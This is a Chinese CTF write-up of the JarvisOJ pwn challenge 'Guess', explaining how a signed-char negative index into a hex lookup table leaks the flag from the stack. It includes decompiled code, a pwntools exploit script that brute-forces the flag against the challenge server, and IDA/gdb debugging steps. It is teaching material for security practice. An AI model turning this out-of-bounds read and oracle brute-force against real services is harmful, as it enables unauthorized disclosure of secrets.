欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[JarvisOJ][pwn]Guess

程序员文章站 2022-05-19 09:58:53
...

练习了一个oj平台上的题,感觉收货很多,在这里记下来。

aaa@qq.com:~/桌面/oj/猜测$ checksec 1
[*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/\xe7\x8c\x9c\xe6\xb5\x8b/1'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启了NX保护
打开程序看一下内容

   s = socket(2, 1, 0);
  if ( s == -1 )
  {
    perror("unable to create server socket");
    exit(1);
  }
  *(_QWORD *)&bind_addr.sin_family = 0LL;
  *(_QWORD *)bind_addr.sin_zero = 0LL;
  bind_addr.sin_family = 2;
  bind_addr.sin_port = htons(0x270Fu);
  if ( bind(s, (const struct sockaddr *)&bind_addr, 0x10u) )
  {
    perror("unable to bind socket");
    exit(1);
  }
  if ( listen(s, 16) )
  {
    perror("deaf");
    exit(1);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      s_ = accept(s, 0LL, 0LL);
      if ( s_ != -1 )
        break;
      perror("accept failed, is this bad?");
    }
    child_pid = fork();
    if ( child_pid == -1 )
    {
      perror("can't fork! that's bad, I think.");
      close(s_);
      sleep(1u);
    }
    else
    {
      if ( !child_pid )
      {
        close(s);
        handle(s_);
        exit(0);
      }
      close(s_);
    }
  }
}

是一个流式套接字开启了一个9999号端口,建立连接之后会开启新的进程,用handle来获取进程
handle函数里面是

void __cdecl handle(int s)
{
  int v1; // eax
  signed __int64 v2; // rsi
  char inbuf[4096]; // [rsp+10h] [rbp-1010h]
  int correct; // [rsp+101Ch] [rbp-4h]

  if ( dup2(v1, 0) == -1 || dup2(s, 1) == -1 )
    exit(1);
  v2 = 0LL;
  setbuf(stdout, 0LL);
  puts(
    "Notice: Important!!\n"
    "This is a test program for you to test on localhost.\n"
    "Notice flag in this test program starts with `FAKE{` and the\n"
    "program on server has the real flag which starts with `PCTF{`\n"
    "\n"
    "\n"
    "\n"
    "Welcome to the super-secret flag guess validation system!\n"
    "Unfortunately, it only works for the flag for this challenge though.\n"
    "The correct flag is 50 characters long, begins with `PCTF{` and\n"
    "ends with `}` (without the quotes). All characters in the flag\n"
    "are lowercase hex (so they are in [0-9a-f]).\n"
    "\n"
    "Before you can submit your flag guess, you have to encode the\n"
    "whole guess with hex again (including the `PCTF{` and the `}`).\n"
    "This protects the flag from corruption through network nodes that\n"
    "can't handle non-hex traffic properly, just like in email.\n");
  while ( 1 )
  {
    printf("guess> ", v2);
    v2 = 4096LL;
    if ( !fgets(inbuf, 4096, stdin) )
      break;
    rtrim(inbuf);
    correct = is_flag_correct(inbuf);
    if ( correct )
      puts(
        "Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
    else
      puts("Nope.");
  }
}

fgets(inbuf, 4096, stdin)没有溢出漏洞。

void __cdecl rtrim(char *str)
{
  char *p; // [rsp+18h] [rbp-8h]

  for ( p = &str[strlen(str) - 1]; p >= str && strchr(" \r\n", *p); p -= 2 )
    *p = 0;
}

这里把输入的字符串下标为奇数位的位置清0,但是用gdb跟一下之后发现它还是原来的内容

int __cdecl is_flag_correct(char *flag_hex)
{
  unsigned int v1; // eax
  char given_flag[50]; // [rsp+10h] [rbp-190h]
  char flag[50]; // [rsp+50h] [rbp-150h]
  char bin_by_hex[256]; // [rsp+90h] [rbp-110h]
  char value2; // [rsp+192h] [rbp-Eh]
  char value1; // [rsp+193h] [rbp-Dh]
  int i_0; // [rsp+194h] [rbp-Ch]
  char diff; // [rsp+19Bh] [rbp-5h]
  int i; // [rsp+19Ch] [rbp-4h]

  if ( strlen(flag_hex) != 100 )
  {
    v1 = strlen(flag_hex);
    printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
    exit(0);
  }
  qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
  qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
  bzero(given_flag, 0x32uLL);
  for ( i = 0; i <= 49; ++i )
  {
    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];
    if ( value1 == -1 || value2 == -1 )
    {
      puts("bad input – one of the characters you supplied was not a valid hex character!");
      exit(0);
    }
    given_flag[i] = value2 | 16 * value1;
  }
  diff = 0;
  for ( i_0 = 0; i_0 <= 49; ++i_0 )
    diff |= flag[i_0] ^ given_flag[i_0];
  return diff == 0;
}

这里是真正的验证部分
value1 = bin_by_hex[flag_hex[2 * i]];
value2 = bin_by_hex[flag_hex[2 * i + 1]];这里通过控制lflag_hex为负数可以读取到given_flag和flag的内容。
可以看堆栈的空间

-0000000000000190 given_flag      db 50 dup(?)
-000000000000015E                 db ? ; undefined
-000000000000015D                 db ? ; undefined
-000000000000015C                 db ? ; undefined
-000000000000015B                 db ? ; undefined
-000000000000015A                 db ? ; undefined
-0000000000000159                 db ? ; undefined
-0000000000000158                 db ? ; undefined
-0000000000000157                 db ? ; undefined
-0000000000000156                 db ? ; undefined
-0000000000000155                 db ? ; undefined
-0000000000000154                 db ? ; undefined
-0000000000000153                 db ? ; undefined
-0000000000000152                 db ? ; undefined
-0000000000000151                 db ? ; undefined
-0000000000000150 flag            db 50 dup(?)
-000000000000011E                 db ? ; undefined
-000000000000011D                 db ? ; undefined
-000000000000011C                 db ? ; undefined
-000000000000011B                 db ? ; undefined
-000000000000011A                 db ? ; undefined
-0000000000000119                 db ? ; undefined
-0000000000000118                 db ? ; undefined
-0000000000000117                 db ? ; undefined
-0000000000000116                 db ? ; undefined
-0000000000000115                 db ? ; undefined
-0000000000000114                 db ? ; undefined
-0000000000000113                 db ? ; undefined
-0000000000000112                 db ? ; undefined
-0000000000000111                 db ? ; undefined
-0000000000000110 bin_by_hex      db 256 dup(?)

char字符可以设置为[-128,0),[0,127]这么大范围,刚好包括2个数组,具体要怎么利用呢

#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
int main()
{
    char flag_hex[256];
    int i;
    for (i = 1; i <= 255; i++)
    {
        flag_hex[i] = i;
        printf("%d:%d\n",i, flag_hex[i]);
    }

}

运行结果:

190:-66
191:-65
192:-64
193:-63
194:-62
195:-61

可以看到-64对应的应该是192
我们可以设置字符为192来读取flag字符串的内容让程序输出验证正确。(这里不能是-64因为Python里面字符串默认只能是正的)

from pwn import *
import string

#context.log_level = 'debug'

payload=""
for i in range(50):
    payload+="0"+chr(0x40+128+i)



Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)

Io.recvline()
Io.close()

测试一下这个payload可以走到正确的地方但是还是不知道flag。
知道整体的正确我们可以试着**一个字符,如果程序能走到正确的位置说明这个字符是正确的,以此类推可以得到flag。

#!/usr/bin/env python
#coding:utf-8


from pwn import *
import string

#context.log_level = 'debug'

payload=""
for i in range(50):
    payload+="0"+chr(0x40+128+i)



Io=remote("pwn.jarvisoj.com",9878)
Io.recvuntil("guess>")
Io.sendline(payload)

Io.recvline()
Io.close()
Io = remote("pwn.jarvisoj.com", 9878)
Io.recvuntil("guess>")

flag=list(payload)
YES='Yaaaay!'
Flag=''
for i in range(50):
    for j in string.printable:
        flag[2*i]=j.encode('hex')[0]
        flag[2*i+1]=j.encode('hex')[1]
        Io.sendline("".join(flag))
        print flag
        Re=Io.recvline()
        print Re
        print Flag
        if (YES in Re)==1:
            Flag+=j
            break


print List2str(flag)

里面有一点,

     flag[2*i]=j.encode('hex')[0]
     flag[2*i+1]=j.encode('hex')[1]

看程序

for ( i = 0; i <= 49; ++i )
  {
    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];
    if ( value1 == -1 || value2 == -1 )
    {
      puts("bad input – one of the characters you supplied was not a valid hex character!");
      exit(0);
    }
    given_flag[i] = value2 | 16 * value1;
  }

这里×16市场左移4位接下来看一下bin_by_hex长度内容

rodata:0000000000401125                 db 0FFh
.rodata:0000000000401126                 db 0FFh
.rodata:0000000000401127                 db 0FFh
.rodata:0000000000401128                 db 0FFh
.rodata:0000000000401129                 db 0FFh
.rodata:000000000040112A                 db 0FFh
.rodata:000000000040112B                 db 0FFh
.rodata:000000000040112C                 db 0FFh
.rodata:000000000040112D                 db 0FFh
.rodata:000000000040112E                 db 0FFh
.rodata:000000000040112F                 db 0FFh
.rodata:0000000000401130                 db    0
.rodata:0000000000401131                 db    1
.rodata:0000000000401132                 db    2
.rodata:0000000000401133                 db    3
.rodata:0000000000401134                 db    4
.rodata:0000000000401135                 db    5
.rodata:0000000000401136                 db    6
.rodata:0000000000401137                 db    7
.rodata:0000000000401138                 db    8
.rodata:0000000000401139                 db    9

一堆0XFF中间有1,2,3,4……看1,2,3这些数据的位置,下表 为30,31,32也就是刚好把ascii码的字符1对应为数字1.后面的左移和与运算就是为了实现这个操作。
其实这个循环做的事情就是将用户输入的 16 进制字符串转换为真正的字符串并保存在 given_flag 中。


接下来是一个问题,怎么动态调试。刚进去会有个alarm函数这个函数会获取时间终止进程,影响调试。ida可以path掉它。
[JarvisOJ][pwn]Guess
options–>general把原来的0改为 8
[JarvisOJ][pwn]Guess
选中要改的部分
[JarvisOJ][pwn]Guess
Edit–>Path program–>path byte 把我们要改的部分改成90然后Edit–>Path program–>apply path input file
[JarvisOJ][pwn]Guess
这就可以把耽误我们调试的给nop掉了。接下来就是载入gdb了
用pidof工具
[JarvisOJ][pwn]Guess
这样就找到新的进程的pid了9418

用gdb的attach命令来载入就行了。
[JarvisOJ][pwn]Guess


总结:漏洞是约束条件不完整,数组的约束也能产生漏洞。无符号和有符号字符的转化可以用上面那段代码直接观察。看似没有意义的一段0xff其实很有用,注意下标和内容的对应,真正的内容肯能藏在下标里面而不是内容。

相关标签: 溢出新姿势